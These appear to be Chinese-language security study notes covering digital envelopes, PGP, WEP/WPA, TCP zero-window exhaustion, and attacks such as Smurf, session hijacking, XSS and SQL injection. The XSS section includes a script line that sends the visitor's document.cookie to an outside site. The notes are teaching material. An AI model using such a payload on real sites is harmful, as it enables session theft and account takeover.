數位信封 Digital Envelope

數位信封 Digital Envelope

發送端產生 對稱金鑰 (Symmetric Key)，使用對稱金鑰來加密信件內容：

(信件內容) ---Symmetric Key---> (信件密文)

之後再把這個 對稱金鑰 用 收件者的 Public Key 加密起來：

(Symmetric Key) ---收件者 Public Key---> (對稱鑰的密文)

所以送出的資料包含了：
(信件密文，由對稱鑰加密過)+(由公鑰保護的Symmetric Key)

跟 PGP(Pretty Good Privacy) 相比，數位信封少了簽章的動作，所以沒辦法確實證明信件是由 A 發送的。

網路攻擊 (Network Attacks)

1.Ping of Death：
ICMP Echo Request/Reply的封包格式包括Option Data這一部分，雖然其內容可有可無，但是當Echo Request包含此部分資料時，接收端必須將這些資料原封不動的包含在Echo Reply中回送給發送端，雖然沒有明定封包的大小，但是小於65535 bytes的封包才算合法。

只要刻意地將Echo Request的Option Data塞入大量資料，便可以造出超過65535 bytes的TCP/IP封包，當它送入被攻擊端的電腦時，由於作業系統本身無法處理這種變形封包，因此會造成當機的狀況。

2. Smurf攻擊：
TCP/IP對網路定址的定義中，有一個位址是用來廣播此網段上全部電腦，這就是我們所稱的廣播（broadcast）位址，定義為將子網路的bit全部設為1。所有連接此網路的網路卡都會將此封包接收進主機中，對此封包進行回應或處理。

攻擊者會先假冒目標主機（受害者）之名向中介者（router）發出broadcast的ICMP Echo Request封包，因為是目的地是廣播位址，中介者在收到之後會對該區域網段內的所有電腦發出此ICMP封包，而所有的電腦在接收到此訊息之後，會對來源主機（亦即被假冒的攻擊目標）送出ICMP Echo Reply回應，所有的ICMP封包在極短的時間內湧入目標主機內，不但造成網路壅塞，更會使目標主機因為無法反應如此多的系統中斷(interrupt)而導致當機、暫停服務

3. Teardrop
4. TCP SYN flood
5. UDP flood

6. Session Hijack
入侵者在正常用戶登入主機並完成身份確認後，即進行連線截奪，讓合法使用者跟主機間的連線中斷，入侵者的電腦取代合法使用者與遠端主機進行連結，入侵者可存取使用原合法使用者所有有權限存取的任何資源

7. 跨網站攻擊程式(XSS, Cross-site scripting)
針對網站應用程式設計不夠嚴謹，攻擊者在網頁中塞入惡意語法，雖然表面上可能如同正常頁面運作，但在背後可以藉機取得用戶的資料。嚴重者可以透過 cookies 擷取，讓能夠讓攻擊者，取得網站管理權限。

例子1

 <a href="/usercp.php?action=logout">一個關於貓的網頁</a>

當 其他人點選連結，他們以為會看到一個關於貓的網頁，卻會因此登出這個網站。

例子2

 <script>
 location.replace('http://rickspage.com/?secret='+document.cookie) </script>

當 Joe 瀏覽留言板時，他就會被引導到 Rick的網站。
而且連線資訊 cookie 當作網址的一部分，傳遞到 Rick 的網頁伺服器。
Rick 接著就可以透過這個來自 Joe 瀏覽器的 cookie 以 Joe 的帳號瀏覽 Joe 的網站

[ 防治 ]
避免XSS的方法主要是將使用者所提供的內容進行過濾

8. SQL injection
稱為 SQL 指令植入式攻擊，只要提供使用者輸入介面，又沒有做到安全的輸入資料型態
管制，就有可能會遭受這種行為的攻擊。

[ SQL帳號設定 ]
設定一般使用者權限，攻擊者只能掌控被攻陷的那個使用者的資料庫
最差狀況下， 攻擊者也只能夠閱讀或寫入被攻陷的那個使用者的表格

[ 網頁程式撰寫 ]
過濾輸入條件中可能隱含的sql指令，如 INSERT、SELECT、UPDATE 等
針對特殊的查詢參數進行過濾，如--、 ' 等

[ 網站伺服器方面 ]
定期修補作業系統與網站伺服器的漏洞

WEP WPA

WPA - WiFi Protected Access
WEP - Wired Equivalent Privacy

無線網路的環境,透過WEP加密傳送封包時只有MAC nAddress與IV欄位是明碼,其餘部分都會經由RC4編碼加密來傳送。

RC4為一種對稱式的金鑰加密方法,也就是在加密的兩端之間(WLAN Client與Access Point)都要維持一個相同的Key,共同用這把Key來加解密。

資料傳輸時,WEP Key是不變的,唯一會改變的就是24 bits長度的IV值,根據不同廠商實做的方式,IV值可以隨著每個封包的傳送而改變,也可以維持一定的週期不重複。

有鑑於此，IEEE 802.11i針對無線網路原本所具備的弱點加以補強，但由於IEEE 802.11i的標準尚未制訂完成，在WIFI的推動下，制訂了 "WIFI
Protected Access" 標準，目前802.11i主要定義的加密機制可以分為TKIP(Temporal Key Integrity Protocol) 與AES，其中TKIP就是目前WPA 1.x (WPA/SSN)主要採用的加密機制。

TKIP主要的設計是相容於原本802.11的硬體產品，透過韌體與軟體升級來提高加密的安全，一樣是透過RC4加密，但是可以讓每個封包都提供不同的加密Key值。原本的WEP加密使用24-bit的IV值，目前的TKIP使用48-bit IV值。如此大幅減低IV值重複的問題。

WPA的設計中要用到一個 802.1X 認證伺服器來散佈不同的鑰匙給各個用戶；不過它也可以用在較不保險的 "pre-shared key" (PSK) 模式，讓每個用戶都用同一個密語使用pre-shared key的版本叫做WPA個人版或WPA2 個人版，用802.1X認證的版本叫做WPA 企業版或WPA2 企業版。

Pretty Good Privacy PGP

PGP (Pretty Good Privacy)

PGP is often used for signing, encrypting and decrypting e-mails to
increase the security of e-mail communications
PGP combines symmetric-key encryption and public-key encryption.

主要就是用來加密 email 使用，運作原理其實說穿了也沒什麼，基本上就是
非對稱加密 & 對稱加密 兩個混合在一起使用。

PGP combines symmetric-key encryption and public-key encryption.

session key is protected by encrypting it with the receiver's public key thus
ensuring that only the receiver can decrypt the session key. The encrypted
message along with the encrypted session key is sent to the recipient

1. 對稱加密的部份，稱為 session key (優點：對稱加密速度快)
2. 非對稱加密的部份，則拿來做數位簽章

詳細方法如下

(email 內文) --HASH--> (摘要 Digest) --A的私key--> (簽章)

(email 內文 + 簽章) --使用session key加密--> SK(email 內文 + 簽章)

(session key) --使用B 的public key 加密--> BK(session key)

最後送出的資料 [ SK(email 內文 + 簽章), BK(session key) ]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
內文與簽章用session key (SK)保護；
session key 本身是用 B 的 public key (BK)保護

TCP Zero Window Size Vulnerability

Keyword：Zero Window Probes, Persist condition

在正常的 TCP 連線狀態下，每當接收端成功收到封包時，會回應 ACK 給發送端。該 ACK 資訊除了告知發送端，封包成功送達外，另一個作用是讓發送端知道，目前的 Receive Window Size 是多少，以便達到 Flow control 的效用。藉由這樣的資訊，可以避免發送端一次送出過量資料。

在 TCP Robustness in Persist Condition 這份文件，提到的系統弱點則是利用 TCP 協定的設計缺失達成攻擊目的。其主要方式如下：

一個具有惡意的接收者，向發送端提出需求，在連線建立後隨即送出ACK(window size=0) 的訊息，這表示接收端暫時無法接收資訊。發送端收到該 ACK 後便會進入 Persist condition，在這狀況下發送端會為接收端保存這份資料(in sending queue)，並等到接收端重新開啟 Receive window 後再將資料送出。

在 Persist condition 狀況下，發送端定期去 probe 接收端狀態。但惡意的接收端每次都回應 ACK(window size=0) 讓傳送端遲遲無法送出資料。然而發送端服務的對象往往不止一個，上述的惡意行為如果大量出現將會耗用大量資源，造成發送端無法提供正常服務。

相關連結參考：
微軟 MS09-048 安全通報
TCP Robustness in Persist Condition